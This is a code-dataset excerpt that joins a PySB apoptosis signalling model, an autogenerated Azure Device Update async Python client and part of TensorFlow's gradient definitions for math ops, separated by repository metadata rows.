Observable('C3pro_obs', C3pro()) Observable('CytoCM_obs', CytoCM()) Observable('CytoCC_obs', CytoCC()) Observable('BaxA_obs', BaxA()) Observable('ApafI_obs', ApafI()) Observable('BidU_obs', BidU()) Observable('BidT_obs', BidT()) Observable('C3A_obs', C3A()) Observable('ApafA_obs', ApafA()) Observable('BidM_obs', BidM()) Observable('Receptor_obs', Receptor()) Rule('bind_0_Ligand_binder_Receptor_binder_target', Ligand(Receptor=None) + Receptor(Ligand=None, Fadd=None) | Ligand(Receptor=1) % Receptor(Ligand=1, Fadd=None), bind_0_Ligand_binder_Receptor_binder_target_2kf, bind_0_Ligand_binder_Receptor_binder_target_1kr) Rule('bind_0_Receptor_binder_Fadd_binder_target', Receptor(Ligand=ANY, Fadd=None) + Fadd(Receptor=None, C8pro=None) | Receptor(Ligand=ANY, Fadd=1) % Fadd(Receptor=1, C8pro=None), bind_0_Receptor_binder_Fadd_binder_target_2kf, bind_0_Receptor_binder_Fadd_binder_target_1kr) Rule('substrate_binding_0_Fadd_catalyzer_C8pro_substrate', Fadd(Receptor=ANY, C8pro=None) + C8pro(Fadd=None) | Fadd(Receptor=ANY, C8pro=1) % C8pro(Fadd=1), substrate_binding_0_Fadd_catalyzer_C8pro_substrate_2kf, substrate_binding_0_Fadd_catalyzer_C8pro_substrate_1kr) Rule('catalytic_step_0_Fadd_catalyzer_C8pro_substrate_C8A_product', Fadd(Receptor=ANY, C8pro=1) % C8pro(Fadd=1) >> Fadd(Receptor=ANY, C8pro=None) + C8A(BidU=None), catalytic_step_0_Fadd_catalyzer_C8pro_substrate_C8A_product_1kc) Rule('catalysis_0_C8A_catalyzer_BidU_substrate_BidT_product', C8A(BidU=None) + BidU(C8A=None) | C8A(BidU=1) % BidU(C8A=1), catalysis_0_C8A_catalyzer_BidU_substrate_BidT_product_2kf, catalysis_0_C8A_catalyzer_BidU_substrate_BidT_product_1kr) Rule('catalysis_1_C8A_catalyzer_BidU_substrate_BidT_product', C8A(BidU=1) % BidU(C8A=1) >> C8A(BidU=None) + BidT(), catalysis_1_C8A_catalyzer_BidU_substrate_BidT_product_1kc) Rule('conversion_0_CytoCC_subunit_d_ApafI_subunit_c_ApafA_complex', ApafI() + CytoCC() | ApafA(), conversion_0_CytoCC_subunit_d_ApafI_subunit_c_ApafA_complex_2kf, conversion_0_CytoCC_subunit_d_ApafI_subunit_c_ApafA_complex_1kr) Rule('inhibition_0_SmacC_inhibitor_Xiap_inh_target', SmacC(Xiap=None) + Xiap(SmacC=None, Apop=None, C3A=None) | SmacC(Xiap=1) % Xiap(SmacC=1, Apop=None, C3A=None), inhibition_0_SmacC_inhibitor_Xiap_inh_target_2kf, inhibition_0_SmacC_inhibitor_Xiap_inh_target_1kr) Rule('conversion_0_C9_subunit_d_ApafA_subunit_c_Apop_complex', ApafA() + C9() | Apop(C3pro=None, Xiap=None), conversion_0_C9_subunit_d_ApafA_subunit_c_Apop_complex_2kf, conversion_0_C9_subunit_d_ApafA_subunit_c_Apop_complex_1kr) Rule('catalysis_0_Apop_catalyzer_C3pro_substrate_C3A_product', Apop(C3pro=None, Xiap=None) + C3pro(Apop=None) | Apop(C3pro=1, Xiap=None) % C3pro(Apop=1), catalysis_0_Apop_catalyzer_C3pro_substrate_C3A_product_2kf, catalysis_0_Apop_catalyzer_C3pro_substrate_C3A_product_1kr) Rule('catalysis_1_Apop_catalyzer_C3pro_substrate_C3A_product', Apop(C3pro=1, Xiap=None) % C3pro(Apop=1) >> Apop(C3pro=None, Xiap=None) + C3A(Xiap=None, ParpU=None), catalysis_1_Apop_catalyzer_C3pro_substrate_C3A_product_1kc) Rule('inhibition_0_Xiap_inhibitor_Apop_inh_target', Xiap(SmacC=None, Apop=None, C3A=None) + Apop(C3pro=None, Xiap=None) | Xiap(SmacC=None, Apop=1, C3A=None) % Apop(C3pro=None, Xiap=1), inhibition_0_Xiap_inhibitor_Apop_inh_target_2kf, inhibition_0_Xiap_inhibitor_Apop_inh_target_1kr) Rule('catalysis_0_Xiap_catalyzer_C3A_substrate_C3ub_product', Xiap(SmacC=None, Apop=None, C3A=None) + C3A(Xiap=None, ParpU=None) | Xiap(SmacC=None, Apop=None, C3A=1) % C3A(Xiap=1, ParpU=None), catalysis_0_Xiap_catalyzer_C3A_substrate_C3ub_product_2kf, catalysis_0_Xiap_catalyzer_C3A_substrate_C3ub_product_1kr) Rule('catalysis_1_Xiap_catalyzer_C3A_substrate_C3ub_product', Xiap(SmacC=None, Apop=None, C3A=1) % C3A(Xiap=1, ParpU=None) >> Xiap(SmacC=None, Apop=None, C3A=None) + C3ub(), catalysis_1_Xiap_catalyzer_C3A_substrate_C3ub_product_1kc) Rule('catalysis_0_C3A_catalyzer_ParpU_substrate_ParpC_product', C3A(Xiap=None, ParpU=None) + ParpU(C3A=None) | C3A(Xiap=None, ParpU=1) % ParpU(C3A=1), catalysis_0_C3A_catalyzer_ParpU_substrate_ParpC_product_2kf, catalysis_0_C3A_catalyzer_ParpU_substrate_ParpC_product_1kr) Rule('catalysis_1_C3A_catalyzer_ParpU_substrate_ParpC_product', C3A(Xiap=None, ParpU=1) % ParpU(C3A=1) >> C3A(Xiap=None, ParpU=None) + ParpC(), catalysis_1_C3A_catalyzer_ParpU_substrate_ParpC_product_1kc) Rule('equilibration_0_BidT_equil_a_BidM_equil_b', BidT() | BidM(BaxM=None), equilibration_0_BidT_equil_a_BidM_equil_b_1kf, equilibration_0_BidT_equil_a_BidM_equil_b_1kr) Rule('catalysis_0_BidM_catalyzer_BaxM_substrate_BaxA_product', BidM(BaxM=None) + BaxM(BidM=None, BaxA=None) | BidM(BaxM=1) % BaxM(BidM=1, BaxA=None), catalysis_0_BidM_catalyzer_BaxM_substrate_BaxA_product_2kf, catalysis_0_BidM_catalyzer_BaxM_substrate_BaxA_product_1kr) Rule('catalysis_1_BidM_catalyzer_BaxM_substrate_BaxA_product', BidM(BaxM=1) % BaxM(BidM=1, BaxA=None) >> BidM(BaxM=None) + BaxA(BaxM=None, BaxA_1=None, BaxA_2=None, SmacM=None, CytoCM=None), catalysis_1_BidM_catalyzer_BaxM_substrate_BaxA_product_1kc) Rule('self_catalyze_0_BaxA_self_catalyzer_BaxM_self_substrate', BaxA(BaxM=None, BaxA_1=None, BaxA_2=None, SmacM=None, CytoCM=None) + BaxM(BidM=None, BaxA=None) | BaxA(BaxM=1, BaxA_1=None, BaxA_2=None, SmacM=None, CytoCM=None) % BaxM(BidM=None, BaxA=1), self_catalyze_0_BaxA_self_catalyzer_BaxM_self_substrate_2kf, self_catalyze_0_BaxA_self_catalyzer_BaxM_self_substrate_1kr) Rule('self_catalyze_1_BaxA_self_catalyzer_BaxM_self_substrate', BaxA(BaxM=1, BaxA_1=None, BaxA_2=None, SmacM=None, CytoCM=None) % BaxM(BidM=None, BaxA=1) >> BaxA(BaxM=None, BaxA_1=None, BaxA_2=None, SmacM=None, CytoCM=None) + BaxA(BaxM=None, BaxA_1=None, BaxA_2=None, SmacM=None, CytoCM=None), self_catalyze_1_BaxA_self_catalyzer_BaxM_self_substrate_1kc) Rule('pore_formation_0_BaxA_pore', BaxA(BaxM=None, BaxA_1=None, BaxA_2=None, SmacM=None, CytoCM=None) + BaxA(BaxM=None, BaxA_1=None, BaxA_2=None, SmacM=None, CytoCM=None) | BaxA(BaxM=None, BaxA_1=None, BaxA_2=1, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=1, BaxA_2=None, SmacM=None, CytoCM=None), pore_formation_0_BaxA_pore_2kf, pore_formation_0_BaxA_pore_1kr) Rule('pore_formation_1_BaxA_pore', BaxA(BaxM=None, BaxA_1=None, BaxA_2=None, SmacM=None, CytoCM=None) + BaxA(BaxM=None, BaxA_1=None, BaxA_2=1, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=1, BaxA_2=None, SmacM=None, CytoCM=None) | BaxA(BaxM=None, BaxA_1=3, BaxA_2=1, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=1, BaxA_2=2, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=2, BaxA_2=3, SmacM=None, CytoCM=None), pore_formation_1_BaxA_pore_2kf, pore_formation_1_BaxA_pore_1kr) Rule('pore_formation_2_BaxA_pore', BaxA(BaxM=None, BaxA_1=None, BaxA_2=None, SmacM=None, CytoCM=None) + BaxA(BaxM=None, BaxA_1=3, BaxA_2=1, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=1, BaxA_2=2, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=2, BaxA_2=3, SmacM=None, CytoCM=None) | BaxA(BaxM=None, BaxA_1=4, BaxA_2=1, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=1, BaxA_2=2, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=2, BaxA_2=3, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=3, BaxA_2=4, SmacM=None, CytoCM=None), pore_formation_2_BaxA_pore_2kf, pore_formation_2_BaxA_pore_1kr) Rule('transport_0_BaxA_pore_SmacM_cargo_M_SmacC_cargo_C', BaxA(BaxM=None, BaxA_1=4, BaxA_2=1, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=1, BaxA_2=2, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=2, BaxA_2=3, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=3, BaxA_2=4, SmacM=None, CytoCM=None) + SmacM(BaxA=None) | BaxA(BaxM=None, BaxA_1=4, BaxA_2=1, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=1, BaxA_2=2, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=2, BaxA_2=3, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=3, BaxA_2=4, SmacM=5, CytoCM=None) % SmacM(BaxA=5), transport_0_BaxA_pore_SmacM_cargo_M_SmacC_cargo_C_2kf, transport_0_BaxA_pore_SmacM_cargo_M_SmacC_cargo_C_1kr) Rule('transport_1_BaxA_pore_SmacM_cargo_M_SmacC_cargo_C', BaxA(BaxM=None, BaxA_1=4, BaxA_2=1, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=1, BaxA_2=2, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=2, BaxA_2=3, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=3, BaxA_2=4, SmacM=5, CytoCM=None) % SmacM(BaxA=5) >> BaxA(BaxM=None, BaxA_1=4, BaxA_2=1, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=1, BaxA_2=2, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=2, BaxA_2=3, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=3, BaxA_2=4, SmacM=None, CytoCM=None) + SmacC(Xiap=None), transport_1_BaxA_pore_SmacM_cargo_M_SmacC_cargo_C_1kc) Rule('transport_0_BaxA_pore_CytoCM_cargo_M_CytoCC_cargo_C', BaxA(BaxM=None, BaxA_1=4, BaxA_2=1, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=1, BaxA_2=2, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=2, BaxA_2=3, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=3, BaxA_2=4, SmacM=None, CytoCM=None) + CytoCM(BaxA=None) | BaxA(BaxM=None, BaxA_1=4, BaxA_2=1, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=1, BaxA_2=2, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=2, BaxA_2=3, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=3, BaxA_2=4, SmacM=None, CytoCM=5) % CytoCM(BaxA=5), transport_0_BaxA_pore_CytoCM_cargo_M_CytoCC_cargo_C_2kf, transport_0_BaxA_pore_CytoCM_cargo_M_CytoCC_cargo_C_1kr) Rule('transport_1_BaxA_pore_CytoCM_cargo_M_CytoCC_cargo_C', BaxA(BaxM=None, BaxA_1=4, BaxA_2=1, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=1, BaxA_2=2, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=2, BaxA_2=3, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=3, BaxA_2=4, SmacM=None, CytoCM=5) % CytoCM(BaxA=5) >> BaxA(BaxM=None, BaxA_1=4, BaxA_2=1, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=1, BaxA_2=2, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=2, BaxA_2=3, SmacM=None, CytoCM=None) % BaxA(BaxM=None, BaxA_1=3, BaxA_2=4, SmacM=None, CytoCM=None) + CytoCC(), transport_1_BaxA_pore_CytoCM_cargo_M_CytoCC_cargo_C_1kc) Initial(Ligand(Receptor=None), Ligand_0) Initial(ParpU(C3A=None), ParpU_0) Initial(C8A(BidU=None), C8A_0) Initial(SmacM(BaxA=None), SmacM_0) Initial(BaxM(BidM=None, BaxA=None), BaxM_0) Initial(Apop(C3pro=None, Xiap=None), Apop_0) Initial(Fadd(Receptor=None, C8pro=None), Fadd_0) Initial(SmacC(Xiap=None), SmacC_0) Initial(ParpC(), ParpC_0) Initial(Xiap(SmacC=None, Apop=None, C3A=None), Xiap_0) Initial(C9(), C9_0) Initial(C3ub(), C3ub_0) Initial(C8pro(Fadd=None), C8pro_0) Initial(C3pro(Apop=None), C3pro_0) Initial(CytoCM(BaxA=None), CytoCM_0) Initial(CytoCC(), CytoCC_0) Initial(BaxA(BaxM=None, BaxA_1=None, BaxA_2=None, SmacM=None, CytoCM=None), BaxA_0) Initial(ApafI(), ApafI_0) Initial(BidU(C8A=None), BidU_0) Initial(BidT(), BidT_0) Initial(C3A(Xiap=None, ParpU=None), C3A_0) Initial(ApafA(), ApafA_0) Initial(BidM(BaxM=None), BidM_0) Initial(Receptor(Ligand=None, Fadd=None), Receptor_0)
87.857923
710
0.803458
79594d8a10d482d64808e4eb2abc83f0f2525898
5,119
py
Python
sdk/deviceupdate/azure-mgmt-deviceupdate/azure/mgmt/deviceupdate/aio/_device_update.py
vincenttran-msft/azure-sdk-for-python
348b56f9f03eeb3f7b502eed51daf494ffff874d
[ "MIT" ]
2,728
2015-01-09T10:19:32.000Z
2022-03-31T14:50:33.000Z
sdk/deviceupdate/azure-mgmt-deviceupdate/azure/mgmt/deviceupdate/aio/_device_update.py
v-xuto/azure-sdk-for-python
9c6296d22094c5ede410bc83749e8df8694ccacc
[ "MIT" ]
17,773
2015-01-05T15:57:17.000Z
2022-03-31T23:50:25.000Z
sdk/deviceupdate/azure-mgmt-deviceupdate/azure/mgmt/deviceupdate/aio/_device_update.py
v-xuto/azure-sdk-for-python
9c6296d22094c5ede410bc83749e8df8694ccacc
[ "MIT" ]
1,916
2015-01-19T05:05:41.000Z
2022-03-31T19:36:44.000Z
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is regenerated. # -------------------------------------------------------------------------- from typing import Any, Optional, TYPE_CHECKING from azure.core.pipeline.transport import AsyncHttpResponse, HttpRequest from azure.mgmt.core import AsyncARMPipelineClient from msrest import Deserializer, Serializer if TYPE_CHECKING: # pylint: disable=unused-import,ungrouped-imports from azure.core.credentials_async import AsyncTokenCredential from ._configuration import DeviceUpdateConfiguration from .operations import DeviceUpdateOperationsMixin from .operations import AccountsOperations from .operations import InstancesOperations from .operations import PrivateEndpointConnectionsOperations from .operations import PrivateLinkResourcesOperations from .operations import Operations from .. import models class DeviceUpdate(DeviceUpdateOperationsMixin): """Microsoft Device Update resource provider. :ivar accounts: AccountsOperations operations :vartype accounts: device_update.aio.operations.AccountsOperations :ivar instances: InstancesOperations operations :vartype instances: device_update.aio.operations.InstancesOperations :ivar private_endpoint_connections: PrivateEndpointConnectionsOperations operations :vartype private_endpoint_connections: device_update.aio.operations.PrivateEndpointConnectionsOperations :ivar private_link_resources: PrivateLinkResourcesOperations operations :vartype private_link_resources: device_update.aio.operations.PrivateLinkResourcesOperations :ivar operations: Operations operations :vartype operations: device_update.aio.operations.Operations :param credential: Credential needed for the client to connect to Azure. :type credential: ~azure.core.credentials_async.AsyncTokenCredential :param subscription_id: The Azure subscription ID. :type subscription_id: str :param str base_url: Service URL :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. """ def __init__( self, credential: "AsyncTokenCredential", subscription_id: str, base_url: Optional[str] = None, **kwargs: Any ) -> None: if not base_url: base_url = 'https://management.azure.com' self._config = DeviceUpdateConfiguration(credential, subscription_id, **kwargs) self._client = AsyncARMPipelineClient(base_url=base_url, config=self._config, **kwargs) client_models = {k: v for k, v in models.__dict__.items() if isinstance(v, type)} self._serialize = Serializer(client_models) self._serialize.client_side_validation = False self._deserialize = Deserializer(client_models) self.accounts = AccountsOperations( self._client, self._config, self._serialize, self._deserialize) self.instances = InstancesOperations( self._client, self._config, self._serialize, self._deserialize) self.private_endpoint_connections = PrivateEndpointConnectionsOperations( self._client, self._config, self._serialize, self._deserialize) self.private_link_resources = PrivateLinkResourcesOperations( self._client, self._config, self._serialize, self._deserialize) self.operations = Operations( self._client, self._config, self._serialize, self._deserialize) async def _send_request(self, http_request: HttpRequest, **kwargs: Any) -> AsyncHttpResponse: """Runs the network request through the client's chained policies. :param http_request: The network request you want to make. Required. :type http_request: ~azure.core.pipeline.transport.HttpRequest :keyword bool stream: Whether the response payload will be streamed. Defaults to True. :return: The response of your network call. Does not do error handling on your response. :rtype: ~azure.core.pipeline.transport.AsyncHttpResponse """ path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), } http_request.url = self._client.format_url(http_request.url, **path_format_arguments) stream = kwargs.pop("stream", True) pipeline_response = await self._client._pipeline.run(http_request, stream=stream, **kwargs) return pipeline_response.http_response async def close(self) -> None: await self._client.close() async def __aenter__(self) -> "DeviceUpdate": await self._client.__aenter__() return self async def __aexit__(self, *exc_details) -> None: await self._client.__aexit__(*exc_details)
49.221154
129
0.728658
79594df029a6d687d43add1ddd6eb0554cde7a7d
57,636
py
Python
tensorflow/python/ops/math_grad.py
PaulWang1905/tensorflow
ebf12d22b4801fb8dab5034cc94562bf7cc33fa0
[ "Apache-2.0" ]
9
2019-12-29T01:47:37.000Z
2021-12-21T13:47:41.000Z
tensorflow/python/ops/math_grad.py
PaulWang1905/tensorflow
ebf12d22b4801fb8dab5034cc94562bf7cc33fa0
[ "Apache-2.0" ]
null
null
null
tensorflow/python/ops/math_grad.py
PaulWang1905/tensorflow
ebf12d22b4801fb8dab5034cc94562bf7cc33fa0
[ "Apache-2.0" ]
1
2019-06-18T05:39:22.000Z
2019-06-18T05:39:22.000Z
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Gradients for operators defined in math_ops.py.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np from tensorflow.python.compat import compat from tensorflow.python.eager import context from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import ops from tensorflow.python.framework import tensor_util from tensorflow.python.ops import array_ops from tensorflow.python.ops import gen_array_ops from tensorflow.python.ops import gen_math_ops from tensorflow.python.ops import math_ops def _safe_shape_div(x, y): """Divides `x / y` assuming `x, y >= 0`, treating `0 / 0 = 0`.""" return x // math_ops.maximum(y, 1) @ops.RegisterGradient("ArgMax") def _ArgMaxGrad(op, grad): del op, grad return [None, None] @ops.RegisterGradient("ArgMin") def _ArgMinGrad(op, grad): del op, grad return [None, None] # TODO(rmlarsen): Implement gradient. ops.NotDifferentiable("EuclideanNorm") _empty_tuple = () def _IsScalar(x): return x._shape_tuple() is _empty_tuple # pylint: disable=protected-access @ops.RegisterGradient("Sum") def _SumGrad(op, grad): """Gradient for Sum.""" # Fast path for when reducing to a scalar and ndims is known: adds only # Reshape and Tile ops (and possibly a Shape). input_0_shape = op.inputs[0]._shape_tuple() # pylint: disable=protected-access if input_0_shape is not None: axes = tensor_util.constant_value(op.inputs[1]) if axes is not None: rank = len(input_0_shape) if np.array_equal(axes, np.arange(rank)): # Reduce all dims. if context.executing_eagerly(): ctx = context.context() new_shape = ctx.ones_rank_cache().get(rank) if new_shape is None: new_shape = constant_op.constant([1] * rank, dtype=dtypes.int32) ctx.ones_rank_cache().put(rank, new_shape) else: new_shape = [1] * rank grad = array_ops.reshape(grad, new_shape) # If shape is not fully defined (but rank is), we use Shape. if None not in input_0_shape: input_shape = constant_op.constant(input_0_shape, dtype=dtypes.int32) else: input_shape = array_ops.shape(op.inputs[0]) return [array_ops.tile(grad, input_shape), None] input_shape = array_ops.shape(op.inputs[0]) # TODO(apassos) remove this once device placement for eager ops makes more # sense. with ops.colocate_with(input_shape): output_shape_kept_dims = math_ops.reduced_shape(input_shape, op.inputs[1]) tile_scaling = _safe_shape_div(input_shape, output_shape_kept_dims) grad = array_ops.reshape(grad, output_shape_kept_dims) return [array_ops.tile(grad, tile_scaling), None] def _MinOrMaxGrad(op, grad): """Gradient for Min or Max. Amazingly it's precisely the same code.""" input_shape = array_ops.shape(op.inputs[0]) output_shape_kept_dims = math_ops.reduced_shape(input_shape, op.inputs[1]) y = op.outputs[0] y = array_ops.reshape(y, output_shape_kept_dims) grad = array_ops.reshape(grad, output_shape_kept_dims) # Compute the number of selected (maximum or minimum) elements in each # reduction dimension. If there are multiple minimum or maximum elements # then the gradient will be divided between them. indicators = math_ops.cast(math_ops.equal(y, op.inputs[0]), grad.dtype) num_selected = array_ops.reshape( math_ops.reduce_sum(indicators, op.inputs[1]), output_shape_kept_dims) return [math_ops.divide(indicators, num_selected) * grad, None] @ops.RegisterGradient("Max") def _MaxGrad(op, grad): """Gradient for Max.""" return _MinOrMaxGrad(op, grad) @ops.RegisterGradient("Min") def _MinGrad(op, grad): return _MinOrMaxGrad(op, grad) @ops.RegisterGradient("Mean") def _MeanGrad(op, grad): """Gradient for Mean.""" sum_grad = _SumGrad(op, grad)[0] input_shape = op.inputs[0]._shape_tuple() # pylint: disable=protected-access output_shape = op.outputs[0]._shape_tuple() # pylint: disable=protected-access if (input_shape is not None and output_shape is not None and None not in input_shape and None not in output_shape): input_size = np.prod(input_shape) output_size = np.prod(output_shape) factor = input_size // max(output_size, 1) factor = constant_op.constant(factor, dtype=sum_grad.dtype) else: input_shape = array_ops.shape(op.inputs[0]) output_shape = array_ops.shape(op.outputs[0]) factor = _safe_shape_div( math_ops.reduce_prod(input_shape), math_ops.reduce_prod(output_shape)) return math_ops.truediv(sum_grad, math_ops.cast(factor, sum_grad.dtype)), None @ops.RegisterGradient("Prod") def _ProdGrad(op, grad): """Gradient for Prod.""" # The gradient can be expressed by dividing the product by each entry of the # input tensor, but this approach can't deal with zeros in the input. # Here, we avoid this problem by composing the output as a product of two # cumprod operations. input_shape = array_ops.shape(op.inputs[0]) # Reshape reduction indices for the case where the parameter is a scalar reduction_indices = array_ops.reshape(op.inputs[1], [-1]) # Expand grad to full input shape output_shape_kept_dims = math_ops.reduced_shape(input_shape, op.inputs[1]) tile_scaling = _safe_shape_div(input_shape, output_shape_kept_dims) grad = array_ops.reshape(grad, output_shape_kept_dims) grad = array_ops.tile(grad, tile_scaling) # Pack all reduced dimensions into a single one, so we can perform the # cumprod ops. If the reduction dims list is empty, it defaults to float32, # so we need to cast here. We put all the shape-related ops on CPU to avoid # copying back and forth, and since listdiff is CPU only. with ops.device("/cpu:0"): rank = array_ops.rank(op.inputs[0]) reduction_indices = (reduction_indices + rank) % rank reduced = math_ops.cast(reduction_indices, dtypes.int32) idx = math_ops.range(0, rank) other, _ = array_ops.setdiff1d(idx, reduced) perm = array_ops.concat([reduced, other], 0) reduced_num = math_ops.reduce_prod(array_ops.gather(input_shape, reduced)) other_num = math_ops.reduce_prod(array_ops.gather(input_shape, other)) permuted = array_ops.transpose(op.inputs[0], perm) permuted_shape = array_ops.shape(permuted) reshaped = array_ops.reshape(permuted, (reduced_num, other_num)) # Calculate product, leaving out the current entry left = math_ops.cumprod(reshaped, axis=0, exclusive=True) right = math_ops.cumprod(reshaped, axis=0, exclusive=True, reverse=True) # For complex inputs, the gradient is in the conjugate direction. y = array_ops.reshape( math_ops.conj(left) * math_ops.conj(right), permuted_shape) # Invert the transpose and reshape operations. # Make sure to set the statically known shape information through a reshape. out = grad * array_ops.transpose(y, array_ops.invert_permutation(perm)) return array_ops.reshape(out, input_shape), None @ops.RegisterGradient("SegmentSum") def _SegmentSumGrad(op, grad): """Gradient for SegmentSum.""" return array_ops.gather(grad, op.inputs[1]), None @ops.RegisterGradient("SegmentMean") def _SegmentMeanGrad(op, grad): """Gradient for SegmentMean.""" input_rank = array_ops.rank(op.inputs[0]) ones_shape = array_ops.concat([ array_ops.shape(op.inputs[1]), array_ops.fill(array_ops.expand_dims(input_rank - 1, 0), 1) ], 0) ones = array_ops.fill(ones_shape, constant_op.constant(1, dtype=grad.dtype)) scaled_grad = math_ops.divide(grad, math_ops.segment_sum(ones, op.inputs[1])) return array_ops.gather(scaled_grad, op.inputs[1]), None @ops.RegisterGradient("SparseSegmentSum") def _SparseSegmentSumGrad(op, grad): """Gradient for SparseSegmentSum.""" input_rows = array_ops.shape(op.inputs[0])[0] return (math_ops.unsorted_segment_sum( array_ops.gather(grad, op.inputs[2]), op.inputs[1], input_rows), None, None) @ops.RegisterGradient("SparseSegmentSumWithNumSegments") def _SparseSegmentSumWithNumSegmentsGrad(op, grad): """Gradient for SparseSegmentSumWithNumSegments.""" input_rows = array_ops.shape(op.inputs[0])[0] return (math_ops.unsorted_segment_sum( array_ops.gather(grad, op.inputs[2]), op.inputs[1], input_rows), None, None, None) @ops.RegisterGradient("SparseSegmentMean") def _SparseSegmentMeanGrad(op, grad): """Gradient for SparseSegmentMean.""" dim0 = array_ops.shape(op.inputs[0])[0] return (math_ops.sparse_segment_mean_grad(grad, op.inputs[1], op.inputs[2], dim0), None, None) @ops.RegisterGradient("SparseSegmentMeanWithNumSegments") def _SparseSegmentMeanWithNumSegmentsGrad(op, grad): """Gradient for SparseSegmentMeanWithNumSegments.""" dim0 = array_ops.shape(op.inputs[0])[0] return (math_ops.sparse_segment_mean_grad(grad, op.inputs[1], op.inputs[2], dim0), None, None, None) @ops.RegisterGradient("SparseSegmentSqrtN") def _SparseSegmentSqrtNGrad(op, grad): """Gradient for SparseSegmentSqrtN.""" dim0 = array_ops.shape(op.inputs[0])[0] return (math_ops.sparse_segment_sqrt_n_grad(grad, op.inputs[1], op.inputs[2], dim0), None, None) @ops.RegisterGradient("SparseSegmentSqrtNWithNumSegments") def _SparseSegmentSqrtNWithNumSegmentsGrad(op, grad): """Gradient for SparseSegmentSqrtNWithNumSegments.""" dim0 = array_ops.shape(op.inputs[0])[0] return (math_ops.sparse_segment_sqrt_n_grad(grad, op.inputs[1], op.inputs[2], dim0), None, None, None) def _SegmentMinOrMaxGrad(op, grad): """ Gradient for SegmentMin and SegmentMax. """ zeros = array_ops.zeros_like(op.inputs[0], dtype=op.inputs[0].dtype) # Get the number of selected (minimum or maximum) elements in each segment. gathered_outputs = array_ops.gather(op.outputs[0], op.inputs[1]) is_selected = math_ops.equal(op.inputs[0], gathered_outputs) num_selected = math_ops.segment_sum( math_ops.cast(is_selected, grad.dtype), op.inputs[1]) # Compute the gradient for each segment. The gradient for the ith segment is # divided evenly among the selected elements in that segment. weighted_grads = math_ops.divide(grad, num_selected) gathered_grads = array_ops.gather(weighted_grads, op.inputs[1]) return array_ops.where(is_selected, gathered_grads, zeros), None @ops.RegisterGradient("SegmentMin") def _SegmentMinGrad(op, grad): """Gradient for SegmentMin.""" return _SegmentMinOrMaxGrad(op, grad) @ops.RegisterGradient("SegmentMax") def _SegmentMaxGrad(op, grad): """Gradient for SegmentMax.""" return _SegmentMinOrMaxGrad(op, grad) def _GatherDropNegatives(params, ids, zero_clipped_indices=None, is_positive=None): """ Helper function for unsorted segment ops. Gathers params for positive segment ids and gathers 0 for inputs with negative segment id. Also returns the clipped indices and a boolean mask with the same shape as ids where a positive id is masked as true. With this, the latter two can be passed as arguments to this function to reuse them. """ if zero_clipped_indices is None: zero_clipped_indices = math_ops.maximum(ids, array_ops.zeros_like(ids)) gathered = array_ops.gather(params, zero_clipped_indices) if is_positive is None: is_positive = math_ops.greater_equal(ids, 0) # tf.where(condition, x, y) requires condition to have the same shape as x # and y. # todo(philjd): remove this if tf.where supports broadcasting (#9284) for _ in range(gathered.shape.ndims - is_positive.shape.ndims): is_positive = array_ops.expand_dims(is_positive, -1) is_positive = ( is_positive & array_ops.ones_like(gathered, dtype=dtypes.bool)) # replace gathered params of negative indices with 0 zero_slice = array_ops.zeros_like(gathered) return (array_ops.where(is_positive, gathered, zero_slice), zero_clipped_indices, is_positive) def _UnsortedSegmentMinOrMaxGrad(op, grad): """ Gradient for UnsortedSegmentMin and UnsortedSegmentMax. """ # Get the number of selected (minimum or maximum) elements in each segment. gathered_outputs, zero_clipped_indices, is_positive = \ _GatherDropNegatives(op.outputs[0], op.inputs[1]) is_selected = 